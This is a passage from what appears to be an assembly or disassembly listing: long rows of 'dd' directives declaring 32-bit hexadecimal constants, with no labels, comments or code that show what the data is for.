93CB0h, 0E52B99BFh dd 1966E7D8h, 28616086h, 51221D6Bh, 32659BA8h, 2AD2BECDh dd 0C6E72DF0h, 0B11D2F3Dh, 133AE7D9h, 0E9A82ED1h, 25A684F2h dd 0D21ABD64h, 9A44C857h, 8E83B24Fh, 8FC354ECh, 9AD7AF2Eh dd 0D44F735Eh, 0EFCAE60Bh, 718AE7ADh, 0A0EE456h, 4A5B66FCh dd 0D44B8143h, 437D222Ah, 8EE2996Bh, 8A7D8F94h, 78E45CECh dd 1493CB0Ch, 0D06F3760h, 0F36EC309h, 768FA31Bh, 0D6100ED1h dd 898F42AEh, 0EEB31D68h, 0E50C0657h, 0FF3531AFh, 0EAA0402Ah dd 0D1410619h, 90EF76A6h, 0AEAE7D6h, 21A432C8h, 6F430F98h dd 0B0517172h, 39299637h, 338FBC73h, 0CDD99872h, 87CDFFA1h dd 0F606A07Bh, 10DE094Bh, 2A22D08Ch, 0DE6DE3F3h, 16B0B649h dd 0C03D9511h, 7C9544D0h, 0F3FCBEF6h, 0BF15B16Ch, 0AA323A21h dd 0E23981DFh, 0D36E461h, 7BF2CA65h, 0B8A1EE5Fh, 803460E1h dd 0ECC9FC80h, 0A48701E1h, 0C327DF19h, 0A657FE41h, 351E5586h dd 10AC2878h, 45795F00h, 13C3AA84h, 0FE950BABh, 2300114Dh dd 0D7DAEAC2h, 187F2B71h, 690F64B3h, 0D285B2F1h, 6E554A5Fh dd 0C2E618BDh, 0BAE9CDB1h, 0D8D368F7h, 9FC465F7h, 0CA28F3FEh dd 420BD0F6h, 61D0B243h, 0E2274CA6h, 7E311C75h, 6C91CA22h dd 62FED1FFh, 286B6F7Ah, 129AB00Dh, 8932AB74h, 299AA077h dd 0C83354AFh, 496A2C53h, 0D4F6138h, 73814037h, 0FF140785h dd 7D237CEFh, 89A974FCh, 0CB8D4549h, 3929FBC6h, 0AAC807B9h dd 0F70CFCA2h, 60351C30h, 48ED8D95h, 578BF270h, 4BEF48Eh dd 2BD2350Fh, 0D14FA89Dh, 0BB83A500h, 2D35798Dh, 8DF31E24h dd 16ED4EFDh, 7E51125Ch, 63F556E7h, 848547E9h, 541480DCh dd 1E4CF4C1h, 152DB538h, 1E8D3014h, 0D580939Fh, 0DB7261C4h dd 5930224Bh, 65B448D1h, 9987688Fh, 0B86B3F9Ah, 0DAA1319Dh dd 42640FE8h, 7F961A29h, 4E90252Dh, 606A519Eh, 16A9998Ah dd 0E4C94F46h, 35008C76h, 464ED6D4h, 3DB15478h, 65DC38A5h dd 0CE0FB6B4h, 0FA77DD6Ch, 0EDFF8983h, 0FC47E36Dh, 2AB05479h dd 0ED95EE12h, 80B4EF4Fh, 585A1A08h, 27FFB21Eh, 0DE832A54h dd 1D643F93h, 7A0335A6h, 0C0EC9A66h, 3C6E107Eh, 0BD28E4F9h dd 0A493B1A1h, 2F33D1DFh, 0B4051349h, 80DDA996h, 2DBF5AD6h dd 0EC8B1867h, 0AE863C69h, 503B4A21h, 13824BB5h, 153834BAh dd 6E72366Dh, 33A3408Eh, 0F8F171C9h, 3F0E413Ah, 3452771Fh dd 495BBB74h, 388D2439h, 0E3C83945h, 815AC89Eh, 67AD48A5h dd 27998385h, 0E6BA699Ch, 13BCEC29h, 2B1E0507h, 14FD8C5h dd 4AB02FFBh, 17570E65h, 0E59B2140h, 0CD000C3Ah, 0B904798Ch dd 0FC6FF9CEh, 0D1829465h, 4F53AC9Ah, 75F99930h, 95161DBAh dd 0D13122E7h, 0F1692C3Eh, 0E3D6BDE7h, 3B0B1BB5h, 81F4EB41h dd 5B0C38D3h, 0E20A77B0h, 56E68C1Ah, 0B638071Dh, 4C71EFBBh dd 0B257BEE4h, 60DE61B8h, 0D3D84E21h, 622A36F8h, 0DEC3D940h dd 76895AF8h, 4C1FBAD0h, 9EE5E1DBh, 0C5ECD6B2h, 72ACFF9Fh dd 3839A60Ch, 0BB8E3B84h, 0FE3B44A7h, 0B4C802BDh, 5062772Fh dd 0E1CDE1E1h, 0DC898727h, 3C336086h, 251C3444h, 399AD80Dh dd 2C94CC2Dh, 0F246BA42h, 0E25EA006h, 439A9AA1h, 0E9346CB8h dd 0C7151F4Ah, 7A49247Fh, 0C0E98A51h, 109FEC6Dh, 0D04B046h dd 105A7A8Ah, 0AA045D3Bh, 0FE051098h, 0C11AFC09h, 812B74A3h dd 4775CF8h, 2B6B32C1h, 341CDEF0h, 0D142BF09h, 64945EAAh dd 0C9C3A966h, 0CE08D120h, 0EAB6E4B3h, 0D0DFC346h, 8B96F7F0h dd 6BB57644h, 0DDC31B90h, 0F7BC997Ah, 1165723h, 36EEEEDh dd 2CD67F7Fh, 0DD51A3F3h, 559E8C1Ch, 23BC0DA4h, 0EB054366h dd 0C7B93E13h, 9949B8B9h, 5DC5C7B8h, 40B488E3h, 8C53B7DBh dd 133F07A6h, 5E9B80E0h, 0EDADE261h, 9A753CAAh, 8C4B0015h dd 0EDEB0033h, 621E6C06h, 58CFD10h, 0E814B92Eh, 57853438h dd 51D60A2Ah, 10E8F5D8h, 0FC2B26ECh, 5D8866B0h, 34D970EEh dd 4F61A8CBh, 5C8AFD62h, 0D26FBAB6h, 705056D5h, 83A6E008h dd 0D064DDFCh, 0C4316B7Dh, 22CEC4E4h, 0F56E920Ah, 0D8C48038h dd 0B654EC19h, 4C464BFh, 0CF3CE785h, 0BC8CE7FAh, 19EF6492h dd 378EBF69h, 0F79973B1h, 0B7EC6D04h, 32BD7340h, 62D853ECh dd 7F48857Fh, 3EDCC984h, 0A58ACD2Dh, 8578B33Dh, 4D40E8BBh dd 4D6461D3h, 0B2B9E924h, 0F3117805h, 1F0FF39h, 0C8188E2Bh dd 84E6C939h, 97ED6A88h, 9034EEB0h, 0C1187FAEh, 3EA7182Bh dd 51D34D9Eh, 0DF66850Dh, 0F944934Ah, 0A616D540h, 1768939Eh dd 0A1C589Eh, 0CA4102DEh, 3BA8592Dh, 8604804Ch, 0DC7826F9h dd 86B424B7h, 0CAD3FB00h, 5CD0FC15h, 218A47C2h, 11F3083Fh dd 4E140A23h, 0D1C080A0h, 7E1DCC0Ah, 509ECB7h, 5FC22A9Fh dd 0FFE91834h, 60F65EDDh, 5CB012Bh, 0D8110695h, 0E14B8D4Ch dd 0E5D9932Ch, 41D6A2D1h, 0C2C17984h, 0B3E894B0h, 0BAB18B1h dd 0E2477FA3h, 337422C2h, 0E0FBA6EAh, 6CE46A75h, 0EADC89E8h dd 0CA012E20h, 8BAE0BE0h, 0BB3EED06h, 7BB16B2Fh, 0AE336653h dd 1C72F80Fh, 0F247613Fh, 3A6551CAh, 0A7834BB8h, 0D9773B0Eh dd 0EBEDFFB0h, 592F369h, 4C3E4DBAh, 0C69CC3F1h, 0C530961Ch dd 0EE25005Ah, 54457476h, 7AABB3CFh, 760A8B2Ch, 7CF58554h dd 7C59226Bh, 743027B3h, 65563D9Bh, 377C150Eh, 63841CB1h dd 8FD45ADAh, 0C6457E5Dh, 8249B8C7h, 0B08AD6FAh, 36174D76h dd 506646C4h, 0B17EC03h, 146F81BCh, 21FE659Ch, 655EFBBh dd 0EF36C882h, 8EDADFFEh, 6303538Ch, 0FD610757h, 1CEF4B17h dd 6CE1B1Bh, 0F42BF58Eh, 5DE6F871h, 0FF640AE8h, 0D994DA15h dd 0BFE7123Eh, 8E210AABh dd 0DF429C0Dh, 85B9EC95h, 2AB7A7AEh, 3BE2C962h, 3B6781AFh dd 8E82A10Bh, 0E12C2389h, 8D332CFEh, 4A37A1A6h, 0FCCF071Ah dd 55DD4D00h, 0FD78656Eh, 6F26F055h, 3039880Eh, 8C910494h dd 0F0F2E5E6h, 0E3AB51B5h, 0C1452B5Ah, 54261859h, 0D0DEB23Ah dd 7C28446h, 93E851BEh, 15A8B233h, 0AF75F8A0h, 0ABE7DF9h dd 5962744h, 3C3F17B4h, 0BB98A25h, 88B1042Eh, 2F0507FBh dd 49EE5D7Eh, 0CC314902h, 146C9371h, 0A602A1CCh, 263A963Eh dd 55DE16C0h, 70682151h, 424FD610h, 6B416961h, 0A8A5647Ah dd 5CB3D633h, 19745FCDh, 90F52A26h, 7FEDA06Ch, 0D35B79FFh dd 45E634BCh, 44AFE72Ah, 77FAB9F0h, 27ACCD4Bh, 79E94C62h dd 0FD5BE7Dh, 84D5C764h, 3400C8A4h, 66D5FAA5h, 0C4E39470h dd 0F9D29D9Ah, 2C94A6EDh, 0D85FBB6Bh, 871D9829h, 24702239h dd 7F4A9A5Ch, 0C4263FFh, 0F7EEABEDh, 55BCB34Bh, 0E73EBF03h dd 2DD442Ch, 7ACBCC11h, 61C95BAh, 44F03BD7h, 33B472B8h dd 0C3F683E4h, 1F78752Eh, 9D79B283h, 0F32FDEEBh, 0D6B27229h dd 0CF9D576Eh, 0E672214Bh, 2684E5E1h, 4CC6908h, 0C3F91F18h dd 37344441h, 6C0BA5F1h, 771F3532h, 5639335Bh, 0C1AC4214h dd 0AF9A925Fh, 2F580BD6h, 5EEF4FC2h, 4EE3674Eh, 15DA6346h dd 0B78CA7E8h, 0AFBB07E5h, 64FF264Ah, 0C1CFB8D4h, 0A6F63F9Fh dd 0E124D498h, 72A40FEAh, 0E924D116h, 8F86CA19h, 65FA5E82h dd 80718421h, 0AB7C5B8Fh, 0EB8BFD4Eh, 0CC8CCF91h, 2211B195h dd 44CCA64Bh, 0CA7FBEAh, 3B2C837Fh, 0D2D77F8Ah, 4A93A573h dd 6AF73557h, 0E15B98A3h, 8605FD8Ch, 7275D981h, 33DE5979h dd 0FFBC0459h, 61F73F61h, 90BCB30Bh, 693E3B08h, 5EA1D715h dd 218B19E7h, 709EFB4Ah, 652BC991h, 45A4CD0Eh, 29B6E7BFh dd 0C5B0D72Fh, 0D1D83AC3h, 0E886E431h, 9E9C4ECCh, 0FD904B02h dd 339D585Bh, 0FDF8771Eh, 5DE26CFEh, 0C9FFE95Eh, 0B4EBFF27h dd 62635C14h, 6C753335h, 3CC72DA5h, 42C036A6h, 5F5569B0h dd 0D6C07EF8h, 0BC07AD9Ch, 0A1F7D45Dh, 75552FB6h, 83B6A6FFh dd 0B99060AAh, 8CA2C214h, 146C151Bh, 0F8D48D5Dh, 268B80CAh dd 3C950A8Ah, 38D68C55h, 9A7D7E0Fh, 2CBA9A2Dh, 0F7FBE433h dd 72DDA51Dh, 25F42913h, 0DD4C2029h, 447506D7h, 8149B3C7h dd 7C2816F8h, 0FEBA64A0h, 47891EE1h, 0EAED4D6Ah, 8F6A3F52h dd 64FDBA0Ch, 1ED15DD7h, 811B16D2h, 81975E19h, 6707CC17h dd 0B6565147h, 0C1B8B901h, 9E774DFh, 0D8856930h, 30A920A6h dd 0B2588D89h, 2063A06Ah, 23169CFFh, 1FFE5C16h, 0BFB43C46h dd 5474C385h, 0AA06CED9h, 0E6AD25D5h, 0DB614491h, 87E754FDh dd 3905E49Dh, 0C3DF820Eh, 0D30A02E2h, 4C24F902h, 7BF30EA0h dd 289BEE13h, 0AA6AF5DDh, 544318E5h, 4F701DE9h, 22F6316Dh dd 65879B37h, 0BAEBD817h, 0EF581F7Ah, 7EC850B1h, 39F770DDh dd 0C55F9490h, 302722CBh, 921A6909h, 14A0B323h, 0F906E8F4h dd 6188D4CEh, 2AC641A7h, 0A60B5083h, 95B79E92h, 6F14CD8Dh dd 0BECED102h, 1D509DAAh, 0B6EA9EAFh, 659C487h, 0F2CDB2FDh dd 0A9210DB3h, 62532752h, 8DA8D4C3h, 1A6839E4h, 5266AD6Eh dd 7ECC6A41h, 98F63307h, 0E6FDE7C3h, 0F4AE30DCh, 0A07D8303h dd 0DF3329D3h, 0DAF926B1h, 0BE61C168h, 853E3F7Eh, 0A6D1Bh dd 5FE7D670h, 9B216722h, 63C8E09Fh, 0DE64568Fh, 622E548h dd 7DBDF157h, 9F95C2A1h, 245192F1h, 40F6BF69h, 0A87D7E66h dd 6A6B28F6h, 0A8C6B285h, 1A101F6Fh, 5C79A3CCh, 3101BFB3h dd 0E54C2806h, 557FCBB3h, 0BA578326h, 0F9B760F2h, 5BB24E61h dd 94140E29h, 8EC2A6Eh, 7F280C7Eh, 0CFE0BBE6h, 0F133C9F8h dd 0CB4CE144h, 3982B61Ch, 34F823AFh, 4A14B31Fh, 6A52C3DAh dd 871DA662h, 929A214Ch, 5C242F7Bh, 1AFF1457h, 0B43DC368h dd 0FC3B5924h, 4674B946h, 7DD6DBEDh, 61F1388Bh, 0F745A367h dd 16648964h, 7B328E2Dh, 2AB36CAEh, 0ACFEF41Fh, 0A832C52Ah dd 9CE38077h, 9F8EA6F3h, 0DDA7819h, 0F28D941h, 6FCFFBDDh dd 0AE64C1ACh, 0F0C55806h, 0FB57B5F2h, 8CAE029Dh, 27D22224h dd 0C0CA9A1Ch, 5334716Fh, 0B682A8ADh, 65BA1190h, 0E3EB1D34h dd 26F0E27Dh, 1E18DFF1h, 7538BDD7h, 483A4AA4h, 0AF0FC4A7h dd 48A82E2Bh, 80ADC02Eh, 0AD187E5Bh, 57F65C78h, 0A4F0425Eh dd 9FDEB82Bh, 5B49FE09h, 0B5BB8D2Bh, 0C0E2B79Ch, 0E184FBE9h dd 18E05B23h, 8B351766h, 0DE5E018Dh, 0A947496Eh, 0A7B2335Eh dd 1013FEB6h, 827627DEh, 35F54837h, 6D115927h, 0DE54ADBCh dd 0C74BB2ECh, 5E9A5AD1h, 4CD3042Ch, 1A9AD728h, 74DCF528h dd 51E5C643h, 71A723B1h, 37BC431Ah, 0BDA3A1DEh, 0FAF3EBB4h dd 1D5B6B74h, 4FB1E49Eh, 998D8C09h, 339CDDAEh, 561153E4h dd 0CE413B88h, 96AFF5DFh, 42510681h, 0BFCB6C55h, 0F05E6599h dd 0C495C35Ch, 0C423EDDCh, 961B8CFDh, 0DD423F03h, 4D175CA6h dd 62ED92FDh, 854D664h, 0CC144342h, 0C157D493h, 0B0203209h dd 0F52BC235h, 0B68B2864h, 0F85994CCh, 70A7C5DFh, 6A37EAE7h dd 6DD6CA90h, 90C496C6h, 5D21D135h, 5904C75Fh, 30A252E4h dd 43640A63h, 4C351DD7h, 0CFCF4F37h, 0EB4066C7h, 0D7C02925h dd 3F20B039h, 8F622189h, 0DDCFE625h, 21A21B74h, 0B2C87767h dd 5C5FAA07h, 58EC876h, 60B90CADh, 0ED667D59h, 57D91B4h dd 0A9C58869h, 99AA8650h, 209E0EA9h, 7AE1172Bh, 0BE6024F6h dd 0DB050390h, 7DF5A74Ah, 93910EF7h, 25B2E187h, 0D08AD7ECh dd 2AACA072h, 0E96EF9ECh, 0FDF53787h, 0BF33012Fh, 0BC55C273h dd 33CF3241h, 0A316419Fh, 4EF595A3h, 1A6AF72Ch, 9A2DDBE7h dd 59CAADA8h, 0A5955BCh, 7F514977h, 0DB37797h, 0CB5187B7h dd 0B9BA196Ah, 6B45106h, 88B3FE4Ah, 9DD769A3h, 0FA1444C1h dd 495352CDh, 0F0A986D6h, 2E20D7FDh, 70094DECh, 0E1F1A00Eh dd 35CAB7FDh, 40860016h, 1E392364h, 0AF3CF1D4h, 74010716h dd 7598F4B5h, 0F7A1FCBh, 35DE8B9Ch, 6D1386E3h, 52F6E013h dd 3103C8F2h, 9F49F4FBh, 0A48F567Bh, 0AB7C744Bh, 495995BEh dd 4E491370h, 0BA67F518h, 99FC1B5Ah, 0DFCF141Dh, 6612DA24h dd 0AE50EFE6h, 322912D9h, 55DEA2AEh, 0EB5112FFh, 88551002h dd 51CF13FFh, 0F0F631Eh, 8B621B6Fh, 6A7DFFCDh, 0D9840B7Fh dd 0CA958C7Eh, 0C2F096F3h, 53665EF7h, 621F1A12h, 33511BBBh dd 0A836ABD1h, 91C4D886h, 5FACC9FCh, 0E7E80C44h, 6978FB73h dd 34284820h, 9F7DB62h, 2E65ECC8h, 1EE32737h, 0B0888B04h dd 9DFCA367h, 88C89196h, 2DE4753Dh, 9B52F885h, 9F04C228h dd 2F49CD34h, 7B8CDE78h, 0AA962916h, 0C23E412Dh, 7A22F252h dd 0EFD62B2Eh, 0A68995D3h, 0A4DE417Fh, 6568F030h, 5297C4E4h dd 0FEA4B173h, 0E98C1F50h, 8EF8EF3Ah, 8576DF90h, 0E7022E40h dd 4D400ABBh, 19372982h, 95E357FCh, 13AE6FCDh, 6580049Eh dd 0C4C9583Ah, 99EA284Bh, 0F80CE0F3h, 0FBAD61E6h, 9BE4CAC9h dd 48B70133h, 0C75CD34Ah, 0D17F19F3h, 81AD0084h, 14AB8D8h dd 63E5AC40h, 82031BF9h, 0DEE022FEh, 882002D4h, 52C1C9Bh dd 0FF668D4Eh, 0AB608B43h, 3B166370h, 911E316Bh, 0F01C056h dd 48D9E240h, 0BB82EF65h, 2FCBDDECh, 0DA54B49Ch, 0A55EFDADh dd 3A6AD49Ah, 0EC56DB12h, 0AB8D5DE7h, 53E8F59Ch, 4A620492h dd 0CF871EB0h, 0EEFB82EEh, 6A06FFF0h, 805AD9DEh, 3A9E1EE2h dd 13845FAFh, 9FAEEC09h dd 0E8506890h, 7A5FC743h, 0C68D6B3Bh, 9607B60Fh, 2E8994A2h dd 41AF1194h, 0DC77E7A8h, 726C4E05h, 2AC2DAAEh, 0CBECB169h dd 0C58053D3h, 6A2C6E32h, 0CE1D994Ah, 0F73F221h, 8FAA1C00h dd 0B3A27778h, 351E0A5Ch, 0CA405215h, 80FD9F7Fh, 4946AEB2h dd 465B5E7Fh, 988B6A12h, 53280820h, 5CEC250h, 0C670A00Dh dd 0A81D3542h, 0CDDB6DF2h, 2B30E300h, 5EEBD3E9h, 39795B23h dd 2A45B961h, 3A37050Eh, 364B3B99h, 0E961CC12h, 829208B5h dd 79E0AA35h, 0B211DB8Dh, 0EEC067A0h, 134D138Fh, 76870050h dd 3445F04Eh, 9CADCDD0h, 0B4D4F28Dh, 84B6ED12h, 904418F2h dd 64EA3074h, 7E4448C0h, 0E2B41B3Eh, 5D6AE3C2h, 3A1E867Bh dd 58C9FF2Eh, 0B6312F46h, 98DB80CBh, 0B2E2155Fh, 44E46D64h dd 141A86AEh, 93CB0771h, 1CE7F4F6h, 0E59FC7DEh, 7485EA47h dd 0CE5D6B0Ah, 4E411A13h, 0AA1F94A3h, 0E1C309B0h, 65D7ED4h dd 0B18B59B5h, 9E09FC88h, 0D15A3BE9h, 0C8B3936Fh, 0A361592h dd 0B3A3A0ABh, 2C7A93E9h, 0CD23E366h, 80356EC8h, 78AADD3Dh dd 0A3D8E1EEh, 0C9F600A1h, 30568718h, 18F54DC1h, 0EC2FD2F0h dd 0B3ACC48Fh, 25F648A2h, 737A76Bh, 4F7E38DDh, 4AF36B14h dd 7EDED603h, 0B029E8EAh, 9219C8F9h, 93466F6Ch, 0FD98CD64h dd 90F96D15h, 5A660E42h, 9B48B9DFh, 903ABAF3h, 0C58595F8h dd 0BDD5B199h, 0CA119EB9h, 0FD7B15E7h, 1933AF8Eh, 69EFF559h dd 2846231Bh, 96B8D226h, 0E4479C6Bh, 141D1CD6h, 0CC8E77FEh dd 352CB02Bh, 348C5263h, 7921F8Ah, 0ED1355Dh, 0B17DFCDBh dd 7809875Dh, 3329F0Fh, 13C5675Bh, 78709881h, 5172298Eh dd 3748049Ah, 29EDC4F8h, 0B0F8FF86h, 634F4BBCh, 4D0B48A2h dd 0E2459B02h, 0FD2B1066h, 0CBCF5149h, 0B8DCC55h, 3FAA58E3h dd 532A241Eh, 0FD55AFE8h, 85805572h, 60A50EE4h, 0EEF34680h dd 0A842D4ABh, 83F4CDCFh, 0CD828C2Dh, 0FB37FC3Ah, 0DE38FDF4h dd 7B09C9C3h, 3FD8EEF0h, 0A2389521h, 0C4A95574h, 0BB0F2ADBh dd 473F2A46h, 11AEE321h, 87E3A7CEh, 1331B838h, 0E2B0223Fh dd 7FEAB841h, 94033E0Ch, 0EDF58E5h, 7BD7361Fh, 0BB6B51F2h dd 0E1C6573Eh, 35F8C8E4h, 2767A74h, 9476A714h, 16C2EAA2h dd 5FBD1AC2h, 0BB0A3020h, 0E2CAE58Ch, 0EBA07566h, 4410F82Ch dd 0E6620638h, 76814A0Bh, 39ABEBE8h, 62E2B856h, 6748AAC4h dd 35B8348Dh, 0D9E09D66h, 7B63C49Eh, 80346947h, 0E9152F6Fh dd 9A37818Fh, 0B6AC2DE7h, 691B7C01h, 4C9E4EBh, 7353BBAFh dd 0E012EC6Dh, 0B0E45E14h, 5769E06h, 76FB92B4h, 2BB96BF3h dd 0E6F70602h, 0BDD449D1h, 0F1BE4D62h, 3D419CDh, 0FE029357h dd 0A238DB5Dh, 0F02447D8h, 9381036Ch, 29E5BEF9h, 346FF7F4h dd 0B100907Ch, 0B2E0A894h, 453AD668h, 80030A6Ah, 0F49FC8A1h dd 8A0CC2BDh, 99C79D4h, 0BA4AF10Bh, 0E243B5D3h, 3C12359Ch dd 9C001AEAh, 166C9963h, 0F7FB1E0Fh, 1EC819A4h, 2F654BD2h dd 0D6875C58h, 49BC4CCAh, 5F412B40h, 81B9BA6h, 240F4A08h dd 0D60FD4DFh, 0F72B86A5h, 606AF061h, 0CFA3670Dh, 966F4AF6h dd 747C2FBEh, 74DF1347h, 0E05B4F82h, 0E31AE21Eh, 17C078F1h dd 2092A648h, 0AE3A7A99h, 136C24CDh, 0DBF9589Eh, 45899674h dd 0E1F9246Bh, 0AC273193h, 35B2E77Bh, 73C9A783h, 688DDE1Ah dd 0CD5CC3D4h, 7341FA7Dh, 0A7E8D5DAh, 0B960D8C6h, 0EB735EBAh dd 0CDDB8B9Ch, 0EC1BBFBAh, 12DAAC4h, 6CF05B88h, 0F05684CAh dd 0EB06FE49h, 9FF09B9Bh, 0D0B9AB52h, 38F213EDh, 0BB98311Ah dd 9364E711h, 47D4965Bh, 0F1E6CF3Ah, 0A71AA100h, 3773FCDDh dd 252A0D13h, 0FED7926Fh, 0F81FDFCFh, 48D8A66Fh, 0D342F230h dd 65FA01EDh, 7CD87A98h, 45A4CEF7h, 81CB56DCh, 0F159A6FEh dd 1EB45C2Dh, 35977316h, 6F5EF83Eh, 49833C90h, 0AFC2B081h dd 753BA057h, 81EAB7D9h, 3FC35D9Bh, 49ED690Ch, 4EEE355Fh dd 0BDDA9518h, 0C09D7C44h, 0E1FE3447h, 421C8240h, 0B683A1E3h dd 0BC2A0D70h, 0A7E52DB4h, 3386B36Fh, 0E15E12E7h, 5E09E454h dd 8FB5BB29h, 3DDCC9E9h, 73F3D6E1h, 9FA54E64h, 41897CFCh dd 7B514AB5h, 118C4388h, 3212A1E1h, 246CF68Ah, 0B3AF929h dd 0D073D5FAh, 0D6017404h, 2CA023A7h, 9A4F5940h, 1DB7429Ch dd 0EA8576F6h, 0C8926BBh, 3685670Dh, 1CFE8DF9h, 0FEBE8773h dd 0BD882AEDh, 1E19CD2Eh, 0EC32EA22h, 0B1414C2Ah, 8C41AC39h dd 0F915A766h, 38A1FFAh, 3D9F2035h, 47B18BBDh, 2FA3F519h dd 0FC140191h, 852F6B57h, 0D5D1E957h, 0E93DB490h, 8B405487h dd 3A4F4959h, 0AEF1C485h, 0FD7EBC4Dh, 8C320F4Dh, 0B047D5C7h dd 9E5F54F6h, 0C45C668Fh, 4980D6AAh, 6E726E7Fh, 6AF8AEA2h dd 0E17037A0h, 0C7F2C7CBh, 4C3B0362h, 2E862968h, 883C5D8h dd 8B3850B4h, 72028A6Dh, 749E560Eh, 0A5E3569h, 0BBB65E0Eh dd 652DFA6h, 0F9C8E4F7h, 3A261347h, 26729A9Ah, 0B80DAC9Ah dd 53971ADFh, 57678B7h, 0C251D829h, 1F44961h, 114F9D48h dd 0A58F00B8h, 0ABF5D5F1h, 0EEB0A2D8h, 0FA8204B3h, 0C15E121Eh dd 3D3BE2FAh, 2987C310h, 30741F35h, 0F3772C6h, 0D7C43300h dd 4E7FF075h, 0B590615Bh, 0ED0DE424h, 4E8579D7h, 947288E8h dd 59DB1E81h, 5F0AF6FBh, 0D77BBA51h, 0CBF8DB87h, 0BADD73F9h dd 8737A641h, 9417FB9h, 95C9E73Ah, 0B2C1FF22h, 0B76EF3DFh dd 0CE8262DEh, 4C4A30A1h, 2FBBD627h, 67CF22E6h, 24B0B617h dd 241E1C41h, 29DBD3BCh, 4D4CB5AFh, 0E5F9BF60h, 7F644801h dd 89FCB407h, 4F86A429h, 9136B91Ah, 0FEC7E81Dh, 0CD3DCC63h dd 0B0171928h, 9362ED73h, 1F2CD167h, 0BFEE628Bh, 5471F28Bh dd 59197A7Ah, 4DC3ADC7h, 57C27885h, 6AA16399h, 0D670A054h dd 76A9AAD9h, 0E4197B14h, 21C9E722h, 0CC41B2B3h, 16525EEEh dd 0BD753206h, 0B6BE2FF8h, 7605F067h, 3E1995D3h, 0C7EE896Bh dd 0D64FDD23h, 306A28E2h, 77785640h, 0CF5D41E6h, 0B10FA76Dh dd 721F4DAAh, 8039C173h, 40B374C2h, 8D4418CBh, 2EE6F666h dd 6B2AF591h, 9E8EC27h, 0B299B990h, 5395A457h, 989EA9D6h dd 0EEA5B078h, 0DB68110Dh, 0BA4FD6Dh, 99800151h, 13C2E70Bh dd 0E929B3B2h, 6DD408FAh, 71398D23h, 99260A66h, 1B8CE899h dd 0CE2C1201h, 7F3B332h, 5C3887FFh, 200A2690h, 0D05DCDAAh dd 0A11EE40Dh, 866F1851h, 8F1EA21h, 78FAFC27h, 0CDD31AE0h dd 1D45E664h, 38FEFB88h, 0E6E197C0h, 0F2F1BC31h, 3FEBFDD1h dd 0D086C380h, 25F2EB0Dh, 0F18532B5h, 70069F90h, 55C8ADA0h dd 422C5014h, 8DB0E8B4h, 94471C63h, 6D0C2F03h, 860EAC22h dd 0FD5722F4h, 0F0A98C24h, 6519F500h, 6CC76484h, 0BB583254h dd 0B8D2E5Bh, 57ABA752h, 0F18BD594h, 59137EB1h, 0BAC42306h dd 0B57D0341h, 6D8AFBCEh, 0DE0D013Fh, 10B8E059h, 0E5FF9921h dd 1C055ED2h, 0A0D0E907h, 9CA23586h, 0FAF14B86h, 5289D9Ah dd 0B2F6481Bh, 17F60F85h, 83F42030h, 0DD754A33h, 0B4984288h dd 92F1A0ACh, 0A7FE0CEBh, 4460BB1Ah, 0D7BAC89Ah, 788BC4E2h dd 8C8ECBC5h, 787B39B6h, 0F362D1F2h, 783EDC4Fh, 9CD69E5Ah dd 0BDF05AD1h, 19FE801Eh, 0CA6F708Fh, 0B9F34DE6h, 0B10CB576h dd 0B236C5D2h, 98A0F1FBh, 0BAB5E58Fh, 44D83AE6h, 0CF5FB6D8h dd 0A43246BDh, 68889E09h, 30C9F9EEh, 0F393CE95h, 0ED4DAFBDh dd 1EFAE986h, 1BD9F3EEh, 4F4C3F02h, 7A982D4Bh, 0FC35A027h dd 98E01C99h, 0E030DF80h dd 4CBF683Bh, 870CE81h, 5F524A38h, 30A4668Fh, 0DA9FAEEDh dd 827AB7F5h, 0C5E3D9Dh, 79C518E6h, 0D69D102Ch, 76EF7A9Ah dd 702EA8BFh, 25C447A8h, 41F61BF0h, 18A8FB85h, 0BB914634h dd 237F307Ch, 542B4AE4h, 8545A084h, 2CCB261Dh, 60FB1C61h dd 397DDBFh, 862BB704h, 64CECCD8h, 62FE3158h, 7CCB6981h dd 2E11ECFEh, 0DCD00EFEh, 369F80B3h, 0BB750E87h, 7A54E987h dd 0A027A64Dh, 0E5EB0D58h, 0D728DFFCh, 0D7711275h, 0A3B883h dd 3301F5FDh, 6F740A19h, 57D8F07Ah, 75961CBAh, 4891BD12h dd 87C21169h, 0AA4AEF53h, 0CBCDC548h, 0CAE4A889h, 0F078476Eh dd 100ADDF7h, 8CA609CDh, 985EFE11h, 2F231B6Fh, 0C73F17CBh dd 0DE85120Ah, 0E9580908h, 9FCED7E1h, 4B9B5953h, 0A0C499AFh dd 944CE7F0h, 0EB12B8FAh, 86B666BEh, 0C6FD96A7h, 0E6DCF5AFh dd 6906935Bh, 43AD2D32h, 38836579h, 0F99E8C91h, 7F05BA57h dd 702DAAEEh, 5315FE3Ah, 12BB6654h, 0EA6273AAh, 0FE84AE15h dd 192B6B19h, 0A55C65Ch, 51755E1Bh, 0E4DC381Eh, 594FEA6Eh dd 0BA4C58E1h, 9FD17970h, 0C138CD4Eh, 27D77FA5h, 0D3CE0185h dd 9A06C940h, 6D8FEDC8h, 0D2132BD7h, 8D53553Eh, 533845AEh dd 11E4E9F3h, 0D45F900Bh, 59191E57h, 46D221C8h, 95C84F08h dd 8A252B60h, 51184154h, 9A4B7DCFh, 0D94ECE88h, 0CFA86E93h dd 2B0171FFh, 0B8E7949Dh, 0D7EDB9Fh, 0AA1F423h, 0CA505ACh dd 940BB39Dh, 348AF8F3h, 82BE5698h, 1F9076AAh, 918B17B1h dd 0BAC62CB6h, 73CC693Ch, 479B989Ch, 4AA48394h, 0C320436Fh dd 47B56E0Bh, 2763F957h, 0DDC64F67h, 0D4FC8BBDh, 65706B5Bh dd 73D5B784h, 3CF46D97h, 6728EC2Bh, 0C89DC4BEh, 0B40F0DF1h dd 44C56126h, 4B7C8EC9h, 9E09E597h, 0AE251DB8h, 8DBD45ADh dd 92CFB6E9h, 0C05005E6h, 0B8ACBD4Ch, 0CD6F89CAh, 1FF4C3C8h dd 0AED5E11Fh, 9E0F5126h, 0EAEE4933h, 0F2EDF0AAh, 0F445F28Dh dd 0CCB541B8h, 0F99C5C3h, 483A18A8h, 4DEADD61h, 746836C8h dd 1795A774h, 9616C779h, 0D88AB9B3h, 0CF3F09F9h, 76F54C2Ch dd 0D4885289h, 1D2EE130h, 48ED84DEh, 0DAEFD512h, 0A0D14582h dd 576279FBh, 2A85A3ECh, 92BA9304h, 0B8AA580Bh, 81B8939Fh dd 59876C22h, 0E5BA8524h, 56D5990h, 5BDD937h, 0E76926A7h dd 0F0051DBh, 0D59AB95Ch, 0ED6D5839h, 